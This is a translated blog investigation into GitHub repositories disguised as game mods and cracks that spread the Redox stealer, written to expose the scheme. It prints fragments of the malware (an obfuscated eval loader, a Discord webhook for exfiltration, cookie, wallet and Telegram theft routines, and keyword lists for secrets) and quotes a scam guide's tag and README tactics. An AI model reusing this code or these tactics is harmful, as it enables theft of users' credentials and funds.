Как стать автором
Обновить
Флант
Специалисты по DevOps и Kubernetes

Расследование аферы с GitHub: как тысячи «модов» и «кряков» крадут наши данные

Уровень сложностиПростой
Время на прочтение14 мин
Количество просмотров9.1K
Автор оригинала: Tim Sh

Просматривая статьи на тематическом форуме по социальной инженерии, я обнаружил относительно новую схему мошенничества, которая меня потрясла. На GitHub создаются тысячи репозиториев с разными штуками — от модов для Roblox и Fortnite до «взломанных» FL Studio и Photoshop.

Как только вы скачиваете и запускаете любую из них, все данные с вашего компьютера собираются и отправляются на Discord-сервер, где сотни злоумышленников просматривают их в поисках закрытых ключей криптокошельков, банковских счетов и учётных данных социальных сетей, а также аккаунтов Steam и Riot Games.

TL;DR

  1. Я нашёл пошаговое руководство по созданию скам-репозиториев, разложил его по полочкам и в итоге обнаружил пару репозиториев, потенциально созданных автором руководства.

  2. Написал скрипт, который помог мне найти 1115 репозиториев, созданных по инструкциям из руководства. Менее чем у 10 % из них есть открытые Issues с жалобами, остальные выглядят просто замечательно. Я собрал их все в таблицу.

  3. Нашел распакованную версию вредоносного кода и проанализировал каждую из более чем 1000 строк. Этот обфусцированный код — версия Redox stealer, которая ищет все ценные вещи на компьютере жертвы и незаметно отправляет их на сервер Discord.

Предыстория

Недавно я зашел в папку «Архив» в Telegram, чтобы найти надоедливый канал, от которого не хотел отписываться, и увидел сообщение от бота, которым пользовался:

Пара слов, прежде чем продолжить:

  1. Это бот для проверки видеороликов TikTok на наличие теневых банов (да, они существуют). В своё время у меня был стартап, занимавшийся продвижением музыкантов на TikTok, и этот бот пригодился мне, когда TikTok обновил алгоритмы борьбы с ботами.

    Но, как я узнал недавно, он в основном используется для «арбитража трафика» на TikTok по типу фейковых криптобирж или азартных игр. Но статья не о них.

  2. Все материалы в нём преимущественно на русском языке, как и куча источников для этой статьи. Уверен, подобные схемы существуют по всему миру, просто этот Telegram-бот мне попался первым.

  3. Часть скриншотов отредактирована, прямые ссылки на некоторые источники удалены — они содержат крайне аморальную информацию, и я не хочу её распространять. Любой достаточно любопытный человек может найти все упомянутые вещи самостоятельно.

Кстати, бот — хитрый промошаг, нацеленный на весьма специфическую аудиторию, которую не так-то просто зацепить со стороны. Поскольку это сообщение от бота, вы должны быть подписаны на него. Также все пользователи, которые не поставили беззвучку, получат звуковое уведомление. Думаю, показатели конверсии таких объявлений, каждое из которых стоит 150 долларов, довольно высоки.

Но вернёмся к сообщению на скрине. Как и другие рекламные акции мошенников, оно ссылалось на некий форум, который выступает этакой «авторитетной платформой» в своей нише. Сообщение подразумевает, что эта конкретная «команда» внесла 10 тысяч долларов на форум, чтобы доказать, что они реальны или что-то в этом роде. Я решил заглянуть на упомянутый ресурс и был потрясён тем, что там лежит в открытом доступе.

Форум «социальной инженерии»

Никаких .onion, никаких KYC, никаких «Послать запрос, чтобы присоединиться». Я просто создал классическую учётную запись и смог просмотреть всё содержимое.

Внутри — панель для продажи практически всего: аккаунтов на различных платформах, начиная с TikTok и заканчивая «старыми проверенными аккаунтами, потратившими $100k+ на Facebook Ads».

Старые (6+ месяцев) аккаунты пользователей Instagram из США за 50 центов
Старые (6+ месяцев) аккаунты пользователей Instagram из США за 50 центов

Гораздо интереснее оказался раздел со статьями. Темы охватывают почти всё, что есть в мире «аффилиатов» — это причудливое название для видов мошенничества, в которых участвуют технический «провайдер» и «команда» людей. Задача последних — привлечь за долю в прибыли «мамонтов» на сайт.

Хорошим примером служит RaaS (программа-вымогатель как услуга) (если интересно, почитайте эту статью) или криптодрейнер вроде CryptoGrab. Последний — это, по сути, мошенническая платформа, у которой при этом есть зарегистрированная компания в Великобритании, чем они не стесняются хвастаться в своей документации.

Но мы здесь не для того, чтобы рассказывать о «классических» схемах, — они уже хорошо изучены специалистами и агентствами по кибербезопасности. Например, компания Abnormal недавно опубликовала расследование о CryptoGrab.

Полной неожиданностью и новинкой для меня стала статья под названием:

Она представляет собой очень длинную и подробную пошаговую инструкцию по созданию и распространению сотен вредоносных репозиториев GitHub, замаскированных практически под все типичные приманки: популярные игровые моды, взломанные приложения (такие как Adobe Photoshop и FL Studio) и многое другое.

Изображения-приманки, созданные автором той статьи
Изображения-приманки, созданные автором той статьи
Пример readme-файла репозитория с «крякнутым» FL Studio
Пример readme-файла репозитория с «крякнутым» FL Studio

Основной целью скрытых вредоносных скриптов является сбор так называемых логов.

«Лог» — это файл с данными с компьютера жертвы, включая cookie, пароли, IP-адреса и конфиденциальные файлы. Данные собираются через распространение «стилеров» — программ для кражи информации. Это специальные программы, которые действуют в фоновом режиме, пока пользователь пытается выяснить, почему установленный им мод работает некорректно.

О том, что именно собирается с компьютеров жертв, расскажу чуть позже, а сейчас позвольте кратко описать алгоритм, который предлагает автор.

Создаём репозиторий со стилером: что делать и чего не делать

  • Получаем вредоносный файл из определённого источника (он упомянут в статье, но давать ссылку здесь я не буду).

  • Регистрируем или лучше покупаем десятки GitHub-аккаунтов — их продают по цене от 1,5 доллара за штуку:

  • Загружаем малварь как zip/rar-архив или просто вставляем в README ссылку на анонимный файлообменник. Так её код не засекут автоматические проверки GitHub и его нельзя будет просмотреть на сайте.

  • Создаём README-файл по шаблону.

Разбираемся в тонкостях шаблонов

Автор рекомендует воспользоваться ChatGPT или другой большой языковой моделью, чтобы немного изменить текст README, сохранив при этом все важные моменты. В README должны быть картинки и/или видео с «настоящими» модами, а ещё лучше — ссылка на реальный репозиторий какого-нибудь известного разработчика игровых модов.

Ещё нужно включить фальшивые скриншоты с VirusTotal или других сайтов, утверждающие, что расширение проверено на вредоносную активность и получило оценку 0/70:

Так чего же ты ждёшь?
Так чего же ты ждёшь?

Но самой важной частью руководства, которой автор посвятил целый раздел, являются топики (topics). Они, как утверждает автор, помогают даже репозиториям без звёзд появляться в органических поисковых запросах Google, таких как «Roblox mod» или что там ещё ищут дети.

Цитата из статьи (орфография и пунктуация автора сохранены):

Так-же когда топиков очень мало, перебирайте их в таком формате:

capcut pro crack pc / capcut pro crack download for pc / free download capcut pro / download capcut pro crack

Добавляйте в начале и в конце слова: free / download / crack / cracked / for pc / pc crack и тд

Для игр используйте так-же слова: download / free / cheat(s) / hack(s) / wallhack(s) / aimbot(s) and so on

Так-же когда сразу подбираете тег, сразу же проверяйте его на бан с помощью https://github.com/topics/тег — если возврашает 404, тег забанен.

Автор включил примерный список топиков для Valorant Aimbot, что позволило мне сразу найти упомянутый репозиторий. Кстати, он всё ещё доступен (был на момент написания статьи. — Прим. пер.). Если в Google поискать «Valorant Aimbot», он окажется на 9-й позиции:

https://github.com/SoloYasko/Aimbot-Valorant

Что скрывает rar-архив

Первый же найденный репозиторий содержал зацепку, которая могла бы уберечь потенциальную жертву от того, чтобы попасться на удочку, — 2 открытых Issue на GitHub:

Сразу хочу вас заверить: только этот репозиторий был «раскрыт» охотниками за троянами. Мне сразу же попался другой (почти такой же) без каких-либо Issues.

Благодаря одному из этих Issues мы можем взглянуть на фактический код внутри rar-архива и на то, что он делает:

Предупреждение: впереди много кода

Цель скрипта — собрать всю доступную информацию, даже базовую, такую как IP-адрес, геолокацию и имя пользователя:

def globalInfo():
    ip = getip()
    username = os.getenv('USERNAME')
    ipdatanojson = urlopen(Request(f'''https://geolocation-db.com/jsonp/{ip}''')).read().decode().replace('callback(', '').replace('})', '}')
    ipdata = loads(ipdatanojson)
    contry = ipdata['country_name']
    contryCode = ipdata['country_code'].lower()
    globalinfo = f''':flag_{contryCode}:  - `{username.upper()} | {ip} ({contry})`'''
    return globalinfo

Дальше идёт код, связанный с Discord, — откровенно говоря, я пока не совсем понял его назначение. Но гораздо интереснее код, который следует сразу за ним:

import base64
import codecs
magic = 'bXlob29rID0gJ2h0dHBzOi8vZGlzY29yZC5jb20vYXBp'
love = 'Y3qyLzuio2gmYmRjAGN0Zmp5BQV1BQDmZwDkZmtiIxcP'
god = 'eXZtQktFU1NVdjRmWW4wTElqbEJSNFZ6TVJURVBPS1ZK'
destiny = 'o1qTqxAyFTD3omAZqTAfHH1XER11nHk6IQH3nKShA0Va'
joy = 'rot13'
trust = eval('magic') + eval('codecs.decode(love, joy)') + eval('god') + eval('codecs.decode(destiny, joy)')
        eval(compile(base64.b64decode(eval('trust')), '<string>', 'exec'))

# Я вычислил это trust-значение: 
trust = "bXlob29rID0gJ2h0dHBzOi8vZGlzY29yZC5jb20vYXBpL3dlYmhvb2tzLzEwNTA0Mzc5ODI1ODQzMjQxMzgvVkpCeXZtQktFU1NVdjRmWW4wTElqbEJSNFZ6TVJURVBPS1ZKb1dGdkNlSGQ3bzNMdGNsUU1KRE11aUx6VDU3aXFuN0In"

Trust-значение при base64-декодировании оказывается ссылкой на вебхук Discord: myhook = 'https://discord.com/api/webhooks/1050437982584324138/VJByvmBKESSUv4fYn0LIjlBR4VzMRTEPOKVJoWFvCeHd7o3LtclQMJDMuiLzT57iqn7B'

Все пользовательские данные, включая куки, пароли и ссылку на заархивированные конфиденциальные файлы, отправляются этому Discord-хуку:

def upload(name, link):
            headers = {
                'Content-Type': 'application/json',
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0' }
            if name == 'wpcook':
                rb = ' | '.join((lambda .0: for da in .0: da)(cookiWords))
                # Часть кода опущена
                data = {
                    'content': globalInfo(),
                    'embeds': [
                        {
                            'title': 'Redox | Cookies Stealer',
                            'description': f'''**Found**:\n{rb}\n\n**Data:**\n <a:1888_Wand_Black:957353744578781304> • **{CookiCount}** Cookies Found\n <a:LV1:1042397877722423368> • [RedoxCookies.txt]({link})''', # Эти паразиты обожают анимированные эмодзи
                            'color': 2895667,
                            'footer': {
                                'text': 'Redox Stealer',
                                'icon_url': "",
                    'username': 'Redox Stealer',
                    'avatar_url': '',
                    'attachments': [] }
                urlopen(Request(myhook, dumps(data).encode(), headers, **('data', 'headers'))) # Ссылка на myhook 
                LoadUrlib(hook, dumps(data).encode(), headers, **('data', 'headers'))
Аватар «отправителя»
Аватар «отправителя»

Оригинальное название этого скрипта — Redox, хорошо известная вредоносная программа, активно распространяемая через Telegram.

Далее идёт код, который собирает куки, пароли, данные Discord и запечатывает их в формат, который впоследствии будет отправлен хуку, из базы данных SQLite.

Да, Redox создаёт и запускает SQLite, собирая все данные в «красивом» виде:

def getCookie(path, arg):
    if not os.path.exists(path):
        return None
    pathC = None + arg + '/Cookies'
    # Пропустил несколько строк
    tempfold = None + 'wp' + ''.join((lambda .0: for i in .0:
random.choice('bcdefghijklmnopqrstuvwxyz'))(range(8))) + '.db'
    shutil.copy2(pathC, tempfold)
    conn = sql_connect(tempfold)
    cursor = conn.cursor()
    cursor.execute('SELECT host_key, name, encrypted_value FROM cookies')
    data = cursor.fetchall()
    cursor.close()
    conn.close()
    os.remove(tempfold)
    pathKey = path + '/Local State'
    with open(pathKey, 'r', 'utf-8', **('encoding',)) as f:
                local_state = json_loads(f.read())
                None(None, None, None)

def getPassw(path, arg):
  # Почти идентичный код

def GetDiscord(path, arg):
  # Почти идентичный код

def GatherZips(paths1, paths2, paths3):
    thttht = []
    for patt in paths1:
        # Опустил кучу кода
    if not len(WalletsZip) == 0:
        wal = '<:ETH:975438262053257236> •  Wallets\n'
        for i in WalletsZip:
            wal += f'''└─ [{i[0]}]({i[1]})\n'''
    if not len(WalletsZip) == 0:
        ga = '<a:8593blackstar:1042395444606672927>  •  Gaming:\n'
        for i in GamingZip:
            ga += f'''└─ [{i[0]}]({i[1]})\n'''
    if not len(OtherZip) == 0:
        ot = '<a:LV1:1042397877722423368>  •  Apps\n'
        for i in OtherZip:
            ot += f'''└─ [{i[0]}]({i[1]})\n'''

Интересна функция GatherZips — она сортирует собранные файлы по трём категориям: криптокошельки, игры и всё остальное. Это наглядно демонстрирует фокус злоумышленников: крипта, игры и связанные с ними данные.

Далее идут несколько функций архивации, которые многое говорят об этом стилере:

def ZipTelegram(path, arg, procc):
    pathC = path
    name = arg
    if not os.path.exists(pathC):
        return None
    None.Popen(f'''taskkill /im {procc} /t /f >nul 2>&1''', True, **('shell',))
    zf = ZipFile(f'''{pathC}/{name}.zip''', 'w')
    for file in os.listdir(pathC):
        if '.zip' not in file and 'tdummy' not in file and 'user_data' not in file and 'webview' not in file:
            zf.write(pathC + '/' + file)
    zf.close()
    lnik = uploadToAnonfiles(f'''{pathC}/{name}.zip''')
    os.remove(f'''{pathC}/{name}.zip''')
    OtherZip.append([
        arg,
        lnik])

Эта функция убивает процесс Telegram, если тот запущен, собирает связанные с ним файлы (историю чатов, медиа, настройки, токены и т. д.) и отправляет их на Anonfiles — бесплатный и анонимный файлообменный сервис, известное пристанище злоумышленников.

Следующая функция, ZipFiles, довольно объёмная. Она ищет определённые данные: файлы, связанные с расширением кошелька Metamask, файлы loginusers.vdf из Steam (содержат данные учётной записи пользователя), информацию об аккаунтах Riot Games и прочее:

if 'nkbihfbeogaeaoehlefnkodbefgpgknn' in arg:
    browser = path.split('\\')[4].split('/')[1].replace(' ', '')
    name = f'''Metamask_{browser}'''
    pathC = path + arg
if not os.path.exists(pathC):
    return None

Например, этот сложный на вид кусок кода — всего лишь функция, которая ищет расширение Metamask для Google Chrome. nkbihfbeogaeaoehlefnkodbefgpgknn — это идентификатор расширения:

https://chromewebstore.google.com/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn

И опять все заархивированные файлы отправляются на Anonfiles.

Затем идёт функция GatherAll(). Она возвращает список жёстко прописанных путей ко всевозможным ресурсам, включая папки браузеров Opera, Chrome, Brave и других. Для более быстрого сбора конфиденциальных данных в ней даже есть многопоточность.

Кстати, функция uploadToAnonfiles(path) наводит на мысль, что код умышленно сделан неполным — возможно, чтобы избежать обнаружения вредоносной активности при статическом анализе. Похоже, что реальная функциональность подгружается в процессе выполнения:

def uploadToAnonfiles(path):
    try:
        pass
    finally:
        return None
        return False

Наконец, мы добираемся до семейства функций Kiwi:

  • KiwiFile ищет в директориях файлы по ключевым словам.

  • KiwiFolder рекурсивно обходит вложенные директории.

  • Kiwi содержит список типичных названий папок, которые нужно искать:

def Kiwi():
    user = temp.split('\\AppData')[0]
    path2search = [
        user + '/Desktop',
        user + '/Downloads',
        user + '/Documents']
    key_wordsFolder = [
        'account',
        'acount',
        'passw',
        'secret']
    key_wordsFiles = [
        'passw',
        'mdp',
        'motdepasse',
        'mot_de_passe',
        'login',
        'secret',
        'account',
        'acount',
        'paypal',
        'banque',
        'account',
        'metamask',
        'wallet',
        'crypto',
        'exodus',
        'discord',
        '2fa',
        'code',
        'memo',
        'compte',
        'token',
        'backup',
        'secret']

А вот список всех ключевых слов, то есть всех приложений, которые интересуют стилера:

keyword = [
    'mail',
    '[coinbase](https://coinbase.com)',
    '[sellix](https://sellix.io)', # Это, кстати, хакерский форум, закрытый ФБР менее месяца назад: https://www.reddit.com/r/hacking/comments/1id2rhv/nulledto_crackedio_sellixio_starkrdpio_all_gone/
    '[gmail](https://gmail.com)',
    '[steam](https://steam.com)',
    '[discord](https://discord.com)',
    '[riotgames](https://riotgames.com)',
    '[youtube](https://youtube.com)',
    '[instagram](https://instagram.com)',
    '[tiktok](https://tiktok.com)',
    '[twitter](https://twitter.com)',
    '[facebook](https://facebook.com)',
    'card',
    '[epicgames](https://epicgames.com)',
    '[spotify](https://spotify.com)',
    '[yahoo](https://yahoo.com)',
    '[roblox](https://roblox.com)',
    '[twitch](https://twitch.com)',
    '[minecraft](https://minecraft.net)',
    'bank',
    '[paypal](https://paypal.com)',
    '[origin](https://origin.com)',
    '[amazon](https://amazon.com)',
    '[ebay](https://ebay.com)',
    '[aliexpress](https://aliexpress.com)',
    '[playstation](https://playstation.com)',
    '[hbo](https://hbo.com)',
    '[xbox](https://xbox.com)',
    'buy',
    'sell',
    '[binance](https://binance.com)',
    '[hotmail](https://hotmail.com)',
    '[outlook](https://outlook.com)',
    '[crunchyroll](https://crunchyroll.com)',
    '[telegram](https://telegram.com)',
    '[pornhub](https://pornhub.com)',
    '[disney](https://disney.com)', # Как мило с их стороны
    '[expressvpn](https://expressvpn.com)',
    'crypto',
    '[uber](https://uber.com)',
    '[netflix](https://netflix.com)']

Итак, подведём итоги раздела. Вредонос Redox, включённый в архив, выложенный на GitHub, собирает самую разную информацию на компьютере жертвы, убивает нужные процессы для маскировки и незаметно отправляет файлы на какой-то сомнительный файлообменник, а ссылки и учётные данные — на некий Discord-сервер.

Оцениваем масштабы аферы

Разобравшись с тем, что делает загружаемый файл, я задумался о масштабах этой операции — сколько вообще существует репозиториев с такими вредоносными rar-архивами?

Прикинуть можно по данным с самого форума: автор упоминает об этом в конце своего гайда. Цитирую:

Если вы очень мотивированы в этом, то создавайте больше топиков и загружайте их. Когда у вас будет 300–500 репозиториев, 10-20-30 из которых в топах, они могут приносить 50–100+ логов каждый день спокойно.

Проверяйте все топики спустя 5–7 дней после залива. Если же репозиторий в бане — проверяйте все теги, — меняете забаненные и заново загружаете.

Могу пожелать вам только удачи!

То есть всего один человек может создать сотни таких репозиториев, а всего их сколько? Тысячи?

На этом можно было бы остановиться, поскольку размах проблемы уже очевиден. Но я всё же решил получить количественную оценку.

Ищем по GitHub

Почти сразу родилась идея: раз есть инструкция по созданию и выбору топиков, можно просто поискать репозитории с ними. Я попробовал сделать это вручную для десяти топиков. Результат меня воодушевил: все они содержали похожие репозитории — либо с файлом README и rar-архивом, либо только с README со ссылкой «скачать», ведущей на подозрительный файлообменник.

Тут я понял, что эта схема также популярна на китайских форумах по «социальной инженерии» — нашлась куча одинаковых репозиториев c README на китайском.

Вот пример (уже удалён. — Прим. пер.) с парой открытых Issues (перевёл его с помощью Google Translate):

Зачищаем GitHub

Спустя каких-то полчаса поисков я убедился в эффективности своего подхода: репозитории с одним из упомянутых топиков с высокой долей вероятности оказывались вредоносными или по крайней мере подозрительными. Поэтому я и решил написать простой скрипт, который:

  1. Генерирует простые топики по инструкции автора: 1 base_keyword (базовое ключевое слово, например csgo или fortnite) + 1 topic_keyword (тематическое ключевое слово, например cheat, hack, aimbot), затем одно базовое + два тематических и т. д.

  2. Ищет каждый топик на GitHub, используя запрос topic:{topic}, и сохраняет все найденные репозитории в общий CSV-файл.

  3. Проверяет структуру каждого найденного репозитория на подозрительные признаки, например наличие только файла README или README + несколько файлов + архив (rar/exe/zip). Репозитории, которые не соответствуют этому паттерну, всё равно с большой долей вероятности являются вредоносными — просто, похоже, используется несколько иной подход.

Для base_keywords и topic_keywords использовались примеры из руководства — как понимаете, их список можно изрядно расширить. Я этого не сделал, поскольку хотел посмотреть, сработает ли самый простой подход:

base_keywords = [
    "Apex Legends", "CODMW", "cod warzone", "cs2", "dayz", "escape from tarkov",
    "five m", "fortnite", "genshin impact", "gta v", "lol", "league of legends",
    "minecraft", "overwatch", "pubg", "rainbow six siege", "roblox", "rust",
    "valorant", "fl studio", "fruity loops"
]

modifiers = [
    "download", "free", "crack", "cracked", "for pc", "pc crack",
    "cheat", "cheats", "hack", "hacks", "wallhack", "aimbot"
]

Изначально я сгенерировал топики длиной не более четырёх слов и получил 38 000 возможных вариантов. Так как поисковый эндпойнт API GitHub ограничен 30 запросами в минуту, проверка всех этих вариантов с помощью скрипта заняла бы почти сутки.

Поэтому я решил ограничить список: оставил по 100 комбинаций ключевых фраз для каждого из 21 приложений. Это дало 2100 топиков — более чем достаточно, чтобы выяснить, работает ли идея.

Даже с самым простым скриптом вот что я получил:

Все репозитории:
Всего строк: 1155
Строк с open_issues >= 1: 115
Вредоносные репозитории (на основе файловой структуры):
Всего строк: 351
Строк с open_issues >= 1: 11

У 115 как минимум одно открытое Issue. Несколько я посмотрел вручную — все Issues сводятся либо к «не работает» (кстати, оно и не должно, поскольку просто тянет время, пока ищет ваши данные), либо к «это скам / вредонос / RAT / вирус / ...».

И это всего 10 % от найденных репозиториев! А с вредоносными дело обстоит ещё хуже — 11 из 351! Такие открытые Issues потенциально могут уберечь кого-то от скачивания и запуска вредоносного скрипта.

Я собрал все репозитории в таблицу, чтобы вы могли изучить их сами:

Некоторые проверил — все они сделаны под копирку по вышеупомянутому руководству.

Только посмотрите на кликабельные картинки в файлах README из этих вредоносных репозиториев — жуть, согласны?

Заключение

Путь был долгим, и он ещё не пройден до конца. Но думаю, материала уже предостаточно, чтобы обобщить всё и обсудить проблему.

Меня до сих пор поражает (хотя я потихоньку привыкаю), что лежит в сети в свободном доступе без всяких Tor'ов, инвайтов или разрешений. И в то же время — как искусно всё это скрыто от большинства из нас за Telegram-ботом, рассылающим мошеннические предложения о работе, или за форумом с забавным названием.

Кстати, упомянутое руководство весьма популярно на форуме. Кто-то просит совета, другие ставят плюсы автору, а третьи сетуют, что метод себя почти исчерпал: «Год назад я получал с его помощью сотни логов, но теперь развелась толпа скрипт-любителей, которые портят результаты серьёзным людям».

Один пользователь ссылается на другое руководство — о том, как «распаковывать» украденные аккаунты Steam и продавать инвентарь. Полагаю, это тема для отдельной статьи.

Удивительно, что Redox до ужаса прост: main.py на 1000 строк — совсем не то, что представляешь, услышав про злобный вирус, который ворует все твои секреты.

Наконец, меня реально беспокоит тот факт, что системе обнаружения GitHub точно по силам отфильтровать все эти репозитории. Как минимум те, в которых Issue просто кричат: «Внимание! Это ВРЕДОНОСНОЕ ПО!» Почему они до сих пор висят у всех на виду? Было бы здорово, если бы кто-нибудь из GitHub прочёл это и забанил все репозитории из таблицы, а заодно и связанные с ними учётные записи.

Ладно, статья и так уже получилась непомерно длинной. Спасибо, что дочитали! Сейчас я готовлю ещё один материал про скам и рекламу — подписывайтесь, если вам интересна эта тема.

P. S.

Читайте также в нашем блоге:

Теги:
Хабы:
+40
Комментарии12

Публикации

Информация

Сайт
flant.ru
Дата регистрации
Дата основания
Численность
201–500 человек
Местоположение
Россия
Представитель
Александр Лукьянов